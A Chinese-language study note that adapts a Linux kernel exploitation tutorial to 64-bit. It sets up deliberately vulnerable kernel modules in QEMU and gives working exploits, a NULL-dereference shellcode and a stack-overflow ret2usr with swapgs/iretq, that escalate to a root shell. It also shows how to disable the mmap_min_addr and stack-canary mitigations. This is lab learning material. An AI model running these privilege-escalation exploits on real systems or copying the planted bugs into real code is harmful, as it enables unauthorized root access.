主要记录一下学习muhe师傅的系列教程,记录其中的坑点。 muhe师傅的教程是在32位ubuntu环境下测试的,本文是在64位环境下测试,有很多地方需要修改,故记录本文,以供后来者学习。
附件在文末下载。
古老的Linux NULL pointer dereference exploit,映射0地址分配shellcode运行
#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/proc_fs.h> void (*my_funptr)(void); int bug1_write(struct file *file,const char *buf,unsigned long len) { my_funptr(); return len; } static int __init null_dereference_init(void) { printk(KERN_ALERT "null_dereference driver init!n"); create_proc_entry("bug1",0666,0)->write_proc = bug1_write; return 0; } static void __exit null_dereference_exit(void) { printk(KERN_ALERT "null_dereference driver exitn"); } module_init(null_dereference_init); module_exit(null_dereference_exit);
Makefile如下
obj-m := null_dereference.o KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/ PWD := $(shell pwd) modules: $(MAKE) -C $(KERNELDR) M=$(PWD) modules moduels_install: $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install clean: rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
代码分析:my_funptr函数指针指向不定,可以劫持之后执行shellcode。
编译驱动后将*.ko打包进busybox文件系统中,以便挂载。
//poc.c #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> char payload[] = "xe9xeaxbexadx0b";//jmp 0xbadbeef int main(){ mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0); memcpy(0, payload, sizeof(payload)); int fd = open("/proc/bug1", O_WRONLY); write(fd, "muhe", 4); return 0; }
$ gcc -**static** poc.c -o poc $ cp poc ../../busybox-1.19.4/_install/usr $ find . | cpio -o --format=newc > ../../rootfs_null_dereference.img
QEMU启动
启动方法1:
$ qemu-system-x86_64 -kernel linux-2.6.32.1/arch/x86/boot/bzImage -initrd ./rootfs_null_dereference.img -append "root=/dev/ram rdinit=/sbin/init"
ctrl+alt+1 VM显示
ctrl+alt+2 监视器控制台
切换到监视器控制台:(QEMU)gdbserver tcp::1234
启动方法2:
#start.sh 脚本 qemu-system-x86_64 \ -m 256M \ -kernel linux-2.6.32.1/arch/x86/boot/bzImage \ -initrd ./rootfs_null_dereference.img \ -append "root=/dev/ram rdinit=/sbin/init" \ -s
然后用gdb去连接。
$ gdb vmlinux gdb-peda$ target remote :1234 Remote debugging using :1234 Warning: not running or target is remote current_thread_info () at /home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/arch/x86/include/asm/thread_info.h:186 186 (current_stack_pointer & ~(THREAD_SIZE - 1)); gdb-peda$ b *0x0 Breakpoint 1 at 0x0 gdb-peda$ c Continuing.
QEMU切换到VM显示,挂载驱动null_dereference.ko后运行poc程序。
$ insmod nulldereference.ko $ ./usr/poc
gdb中反汇编查看当前执行的指令。
gdb-peda$ pdisass $pc Dump of assembler code from 0x0 to 0x20:: Dump of assembler code from 0x0 to 0x20: => 0x0000000000000000 <per_cpu__irq_stack_union+0>: jmp 0xbadbeef 0x0000000000000005 <per_cpu__irq_stack_union+5>: add BYTE PTR [rax],al 0x0000000000000007 <per_cpu__irq_stack_union+7>: add BYTE PTR [rax],al 0x0000000000000009 <per_cpu__irq_stack_union+9>: add BYTE PTR [rax],al
(5-1)思路
给当前进程赋予root权限,执行commit_creds(prepare_kernel_cred(0));
。
#获取commit_creds()和prepare_kernel_cred()地址 $ cat /proc/kallsyms | grep commit_creds $ cat /proc/kallsyms | grep prepare_kernel_cred
(5-2)编写shellcode
xor %rax,%rax call 0xffffffff81083610 call 0xffffffff81083420 ret $ gcc -o payload payload.s -nostdlib -Ttext=0 $ objdump -d payload payload: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <__bss_start-0x20000e>: 0: 48 31 c0 xor %rax,%rax 3: e8 08 36 08 81 callq ffffffff81083610 <_end+0xffffffff80e83600> 8: e8 13 34 08 81 callq ffffffff81083420 <_end+0xffffffff80e83410> d: c3 retq
得到shellcode。
shellcode="\x48\x31\xc0\xe8\x08\x36\x08\x81\xe8\x13\x34\x08\x81\xc3"
我们需要分配0地址空间然后放入shellcode,然后jmp过去执行shellcode,使当前进程有root权限,然后执行一个system("/bin/sh");
在程序返回用户态之后拿到一个root的shell。
(5-3)explot
//$ gcc -static exploit.c -o exp //exploit.c #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> char payload[] = "\x48\x31\xc0\xe8\x08\x36\x08\x81\xe8\x13\x34\x08\x81\xc3"; int main() { mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0); memcpy(0, payload, sizeof(payload)); int fd = open("/proc/bug1", O_WRONLY); write(fd, "muhe", 4); system("/bin/sh");//get root shell return 0; }
新建用户测试exploit。
$ insmod nulldereference.ko #加载漏洞模块 $ touch /etc/passwd $ adduser john $ touch /etc/group $ su john $ whoami john $ /usr/exp #报错sementation fault,这是因为,2.6.32内核已经使用mmap_min_addr作为缓解措施mmap_min_addr为4096,需要设置下mmap_min_addr。 $ exit $ sysctl -w vm.mmap_min_addr="0" $ su john $ /usr/exp
#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/proc_fs.h> int bug2_write(struct file *file,const char *buf,unsigned long len) { char localbuf[8]; memcpy(localbuf,buf,len); return len; } static int __init stack_smashing_init(void) { printk(KERN_ALERT "stack_smashing driver init!n"); create_proc_entry("bug2",0666,0)->write_proc = bug2_write; return 0; } static void __exit stack_smashing_exit(void) { printk(KERN_ALERT "stack_smashing driver exit!n"); } module_init(stack_smashing_init); module_exit(stack_smashing_exit);
简单的栈溢出漏洞。
# Makefile obj-m := stack_smashing.o KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/ PWD := $(shell pwd) modules: $(MAKE) -C $(KERNELDR) M=$(PWD) modules moduels_install: $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install clean: rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
#include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <fcntl.h> int main(){ char buf[48] = {0}; memset(buf,"A",48); *((void**)(buf + 32)) = 0x4242424242424242; int fd = open("/proc/bug2",O_WRONLY); write(fd,buf,sizeof(buf)); }
$ insmod ./stack_smashing.ko
QEMU起内核后运行poc_stack直接崩溃,为了简便,需关闭cannary选项,重新编译内核。
编辑.config文件,注释掉CONFIG_CC_STACKPROTECTOR这一行,然后重新编译内核,再重新编译stack_smashing.ko(程序之前编译时是支持canary的,checksec查看即可)。
再跑POC。
$ insmod ./stack_smashing.ko
发现RIP被劫持为0x4242424242424242。
#start_stack_smashing.sh qemu-system-x86_64 \ -m 256M \ -kernel linux-2.6.32.1/arch/x86/boot/bzImage \ -initrd ./rootfs_stack_smashing.img \ -append "root=/dev/ram rdinit=/sbin/init" \ -s #QEMU命令 $ cat /sys/module/stack_smashing/sections/.texts 0xffffffffa0000000 #gdb调试命令 (可以用gdb脚本更方便) $ gdb vmlinux $ target remote :1234 $ add-symbol-file ./stack_smashing.ko 0xffffffffa0000000 $ b bug2_write $ c #gdb.sh脚本 gdb \ -ex "add-auto-load-safe-path $(pwd)" \ -ex "file ../../linux-2.6.32.1/vmlinux" \ -ex 'target remote localhost:1234' \ -ex 'add-symbol-file ./stack_smashing.ko 0xffffffffa0000000' \ -ex 'b bug2_write' \ -ex 'c' $ x /20iw $pc $ b *0xffffffffa0000022 # ret处下断 $ c $ ni Warning: not running or target is remote 0x4242424242424242 in ?? ()
1.思路
利用commit_creds(prepare_kernel_cred(0))
,然后返回到用户模式先执行swapgs,再执行iret。
当使用IRET指令返回到相同保护级别的任务时,IRET会从堆栈弹出代码段选择子及指令指针分别到CS与IP寄存器,并弹出标志寄存器内容到EFLAGS寄存器,还会弹出堆栈段选择子及堆栈指针分别到SS与SP寄存器。
struct trap_frame { void* eip; // instruction pointer +0 uint32_t cs; // code segment +4 uint32_t eflags; // CPU flags +8 void* esp; // stack pointer +12 uint32_t ss; // stack segment +16 } __attribute__((packed));
2.编写exploit
//gcc exp.c -static -masm=intel -g -o exp_stack #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <stdint.h> size_t user_rip; size_t user_cs; size_t user_rflags; size_t user_sp; size_t user_ss; struct trap_frame{ size_t user_rip; size_t user_cs; size_t user_rflags; size_t user_sp; size_t user_ss; }__attribute__((packed)); struct trap_frame tf; size_t addr=&tf; //user_rip void get_shell(void){ system("/bin/sh"); } void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); tf.user_rip = &get_shell; tf.user_cs = user_cs; tf.user_rflags = user_rflags; tf.user_sp = user_sp-0x1000; //why? tf.user_ss = user_ss; puts("[*]status has been saved."); } #define KERNCALL __attribute__((regparm(3))); size_t prepare_kernel_cred=0xffffffff81083330; //How to find this address? size_t commit_creds=0xffffffff81083140; void payload(void){ //payload here char* (*pkc)(int)=prepare_kernel_cred; void (*cc)(char*)=commit_creds; (*cc)((*pkc)(0)); asm( "swapgs;" //exchange GS "mov rsp, addr;" "iretq;"); } int main(void){ char buf[48]; memset(buf,0x41,48); *((void**)(buf+32)) = &payload; //set rip to payload save_status(); //write(1,buf,sizeof(buf)); int fd = open("/proc/bug2",O_WRONLY); //exploit write(fd,buf,sizeof(buf)); return 0; }
调试:
#gdb $ ./gdb.sh $ x /20iw $pc $ b *0xffffffffa0000022 #ret处下断点 $ c $ stack
由于muhe的教程是32位的,在64位系统上测试时需要修改exp,主要有以下几点:
https://www.anquanke.com/post/id/85837
https://www.anquanke.com/post/id/85840
https://www.anquanke.com/post/id/85848